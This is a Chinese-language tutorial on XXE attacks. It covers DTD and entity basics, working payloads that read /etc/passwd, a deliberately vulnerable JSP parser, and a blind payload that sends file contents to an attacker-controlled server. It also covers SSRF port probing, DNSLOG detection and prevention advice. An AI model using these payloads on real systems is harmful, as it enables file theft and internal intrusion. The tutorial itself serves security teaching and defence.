前言:
与xml格式相关的web漏洞,流传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,本文主要是分享XXE相关技术。Xml,是一种可扩展标记语言,属于标准通用标记语言的子集,跟html师出同门,html侧重于页面展示,xml侧重于存储和传输。
针对xml语言,要明白两个特性:合法性与合理性。所谓合法性,是指语法层面。比如xml标签严格区分大小写,xml文档必须有一个根元素等等。所谓合理性是指xml文档要有意义就必须满足一定的约束要求。在XML技术里,可以编写一个文档来约束一个XML文档的书写规范,这称之为XML约束。常用的约束技术XML DTD 和XML Schema。由于 schema 对常见的XXE攻击相关性不是太大,本文只探讨基于DTD约束的XXE攻击。下面分别讲解一下与XXE攻击相关的两个概念:1.DTD的声明2.实体
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD-声明
DTD 被声明于 XML 文档中:
源码:
<?xml version=”1.0″?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (who,action,what)><!--定义note元素有四个元素-->
<!ELEMENT who (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT action (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT what (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
]>
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note>
解析结果:

【不支持外链图片,请上传图片或单独粘贴图片】
DTD可作为一个外部引用:
源码:
<?xml version=”1.0″?>
<!DOCTYPE note SYSTEM “note.dtd” >
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note>
note.dtd:
<!ELEMENT note (who,action,what)><!–定义note元素有四个元素–>
<!ELEMENT who (#PCDATA)><!–定义to元素为”#PCDATA”类型–>
<!ELEMENT action (#PCDATA)><!–定义from元素为”#PCDATA”类型–>
<!ELEMENT what (#PCDATA)><!–定义head元素为”#PCDATA”类型—>
解析结果:

【不支持外链图片,请上传图片或单独粘贴图片】
加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public。
私有类型DTD加载:
<!ENTITY private_dtd STSTEM “DTD_location” >
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC “DTD_name” “DTD_location” >
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。
PCDATA 的意思是被解析的字符数据,有PCDATA标志的字符 会被当作xml标记来对待,而实体会被展开。但是被解析的字符数据不应当包含任何 &、< 或者 > 字符,需要使用相应的实体编码 &、< 以及 > 来替换它们。
CDATA 的意思是字符数据,有CDATA标志的字符不会当作标记来对待,比如&等特殊字符只会被当作“&”本身,而不是特殊的标记,通过&引用的实体自然也不会被展开。
DTD – 实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上实体是对数据的引用,实体可在内部或外部进行声明,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。
XML中实体类型,大致有下面几种:
- 字符实体
- 内部实体(命名实体)
- 外部实体
- 参数实体
(除参数实体外,其它实体都以字符&开始,实体名,以字符;结束,与xxe相关的主要是外部实体与参数实体。)
字符实体:对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值) 比如%表示%
内部实体:又称为命名实体,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [ <!ENTITY a "hello”> ]>
<root>&a;</root>
外部实体:
外部实体申明:<!ENTITY 实体名 SYSTEM “URI/URL”>
外部实体引用:&实体名;
<?xml version=”1.0″ encoding=”utf-8”?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM “本地或远程文件" > ] >
<root>&xxe;</root>
外部实体 通过在DOCTYPE头部标签中包含SYSTEM 关键字 ,这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。XML外部实体 ‘a’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’a’的值会被替换为URI(file://etc/passwd)内容值。 关键字’SYSTEM’会告诉XML解析器,’a’实体的值将从其后的URI中读取。有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
<?xml version=“1.0” encoding=“utf-8” ?>
<!DOCTYPE root [ <!ENTITY a SYSTEM “file:///etc/passwd”> ]>
<root>&a;</root>
参数实体:与一般实体相比它以字符(%)开始,以字符(;)结束,并且只有在DTD文件中才能在参数实体声明的时候引用其他实体。
参数实体申明:<!ENTITY % 实体名 “实体内容”>
参数实体引用:%实体名;
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE note [ <!ENTITY % remote SYSTEM “攻击者远程服务器上的xml文件">
%remote;
]>
<root>&b;</root>
在常规的攻击中有两种情况有用到参数实体1.读取的文件包含特殊字符 2.在 XXE 攻击没有回显的情况下,可以利用参数实体来获取回显数据。
XXE攻击方式:
针对不同的语言的xml解析器支持不同的协议,因此会衍生出不同的攻击方式。

【不支持外链图片,请上传图片或单独粘贴图片】
通常会利用XXE基于xml解析器支持的file和http协议,来进行可以实现任意文件读取和ssrf两种攻击。
以java为例,在java中解析xml文件有三种常见的方式:1.dom 2.sax 3.dom4j.
简单来说 dom 是将文件一次性的加载到内存中 以dom文档的形式 展示, sax是将文件一行一行的加载到内存中 直接处理,而dom4j需要加载外部jar包,综合性能最高。
Dom
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(“src/demo.xml”);
Sax
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
MyHandler dh = new MyHandler();
parser.parse(“src/demo.xml”, dh);
DOM4J
SAXReader reader = new SAXReader()
Document doc = reader.read(“src/demo.xml”);
以DOM为例,进行代码演示:
一.读取文件
Xxe1.jsp
1.有回显的任意文件读取
<%@ page contentType=“text/html; charset=UTF-8″ %>
<%@ page import=“org.w3c.dom.*, javax.xml.parsers.*” %>
<%@ page import=“org.xml.sax.InputSource” %>
<%@ page import=“java.io.StringReader” %>
<html>
<head><title>XXE </title>
</head>
<body>
<%
String data = request.getParameter(“data”);
String tmp = “”;
if (data != null) {
try {
DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
Document doc = docBuilder.parse(new InputSource(new StringReader(request.getParameter(“data”))));
NodeList RegistrationNo = doc.getElementsByTagName(“foo”);
tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();
} catch (Exception e) {
out.print(e);
}
}
%><%= tmp %>
</body>
</body>
</html>
Payload:<?xml version=”1.0″ ?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

【不支持外链图片,请上传图片或单独粘贴图片】
2.无回显得文件读取
Xxe2.jsp
<%@ page contentType=“text/html; charset=UTF-8″ %>
<%@ page import=“org.w3c.dom.*, javax.xml.parsers.*” %>
<%@ page import=“org.xml.sax.InputSource” %>
<%@ page import=“java.io.StringReader” %>
<html>
<head><title>XXE </title>
</head>
<body>
<%
String data = request.getParameter(“data”);
String tmp = “”;
if (data != null) {
try {
DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
Document doc = docBuilder.parse(new InputSource(new StringReader(request.getParameter(“data”))));
NodeList RegistrationNo = doc.getElementsByTagName(“foo”);
tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();
} catch (Exception e) {
}
}
%><%= “hello” %>
</body>
</body>
</html>
Payload:
<?xml version=“1.0” ?>
<!DOCTYPE note [
<! ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % remote SYSTEM “攻击者远程服务器上的xml文件”>
%remote;
%all;
]>
<root>&send;</root>
攻击者远程服务器上的xml文件:
<!ENTITY % all “<!ENTITY send SYSTEM ‘远程服务器URL/%file;’ >”>
若是攻击成功会在远程服务器的日志中看到:
0:0:0:0:0:0:0:1 – - [24/Aug/2017:23:51:29 +0800] “GET /要读取file的内容 HTTP/1.1″ 200 88
二.ssrf
针对ssrf的攻击 主要是进行内网端口探测和执行只通过http就可以实现的攻击,比如strust2命令执行漏洞简单通过一次http请求就可以成功实现攻击。
1.探测端口
要发送的payload:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE A SYSTEM ”内网地址:端口” >
<A></A>
不同的xml解析器针对这种情况会有不同的不反应,因此不能一概而论。比如有一些XML解析器处理时 若该内网地址的端口属于监听状态 则服务器的response时间 比端口关闭的response时间要漫长很多,这时便可以通过返回的时间来判断端口是否处于开放状态。当有回显得时候 也可以直接根据 回显得内容来判断 内网地址的存活以及端口开放与否,个人感觉这种攻击有些鸡肋。
2.struts2攻击
Payload
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE A SYSTEM ”内网地址+相关漏洞的payload” >
<A></A>
若是内网的某台服务器存在该漏洞,则直接可以执行命令了。
如何发现XXE:
笔者看了很多分析XXE的文章,很多人在谈到如何发现XXE的时候,几乎都是千篇一律的说到:三部曲:1.检测XML是否会被解析2.检测服务器是否支持外部实体3.如果上面两步都支持,那么就看能否回显,
在这里 笔者提出一个自己的观点 欢迎大家谈论:我认为针对黑盒渗透的特性, 测试者没法知道自己的任何发送请求传到服务器时,有没有进入到xml解析器里。比如 在客户端明明发送的是json格式的数据但是实际传输到服务器里了,却进入到xml解析器里了(这篇文章就是这种情况:https://blog.netspi.com/playing-content-type-xxe-json-endpoints/)。或者当服务端没有任何回显 时,这种情况也不知道 服务端是否解析 了XML 格式数据。因此笔者的方法是直接在doc文档中通过关键字system 去访问一个外网地址,通过观察DNSLOG来判断服务器是否解析了客户端的请求。
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE A SYSTEM”dnslog地址” >
<A></A>
若是服务器解析了,则会在DNSLOG中看到一下请求,这就证明了存在XXE漏洞。

【不支持外链图片,请上传图片或单独粘贴图片】
预防方式
正所谓一切漏洞来源揭示由于用户的恶意输入,XXE之所以会发生 是因为中间件的xml解释器对恶意用户的输入进行了解析所导致的,通常xml解释器默认是含有xxe漏洞的。可以看出漏洞之所以发生是由于xml解析器允许解析外部实体,因此从根源上预防XXE就是要保证解析器不支持外部实体的引用,针对不同的语言有不同禁止解析外部实体的方式。或者从WAF黑名单的思路来预防 ,可以禁止客户传入的一些与XXE有关的关键字,比如可以一次性的将一下4个关键字加入到WAF里DOCTYPE、ENTITY、SYSTEM、PUBLIC。
资料来源:
1.http://www.w3cschool.cn/xml
2.http://www.w3cschool.cn/dtd
3.http://bobao.360.cn/learning/detail/3841.html
4.http://blog.csdn.net/u011721501/article/details/43775691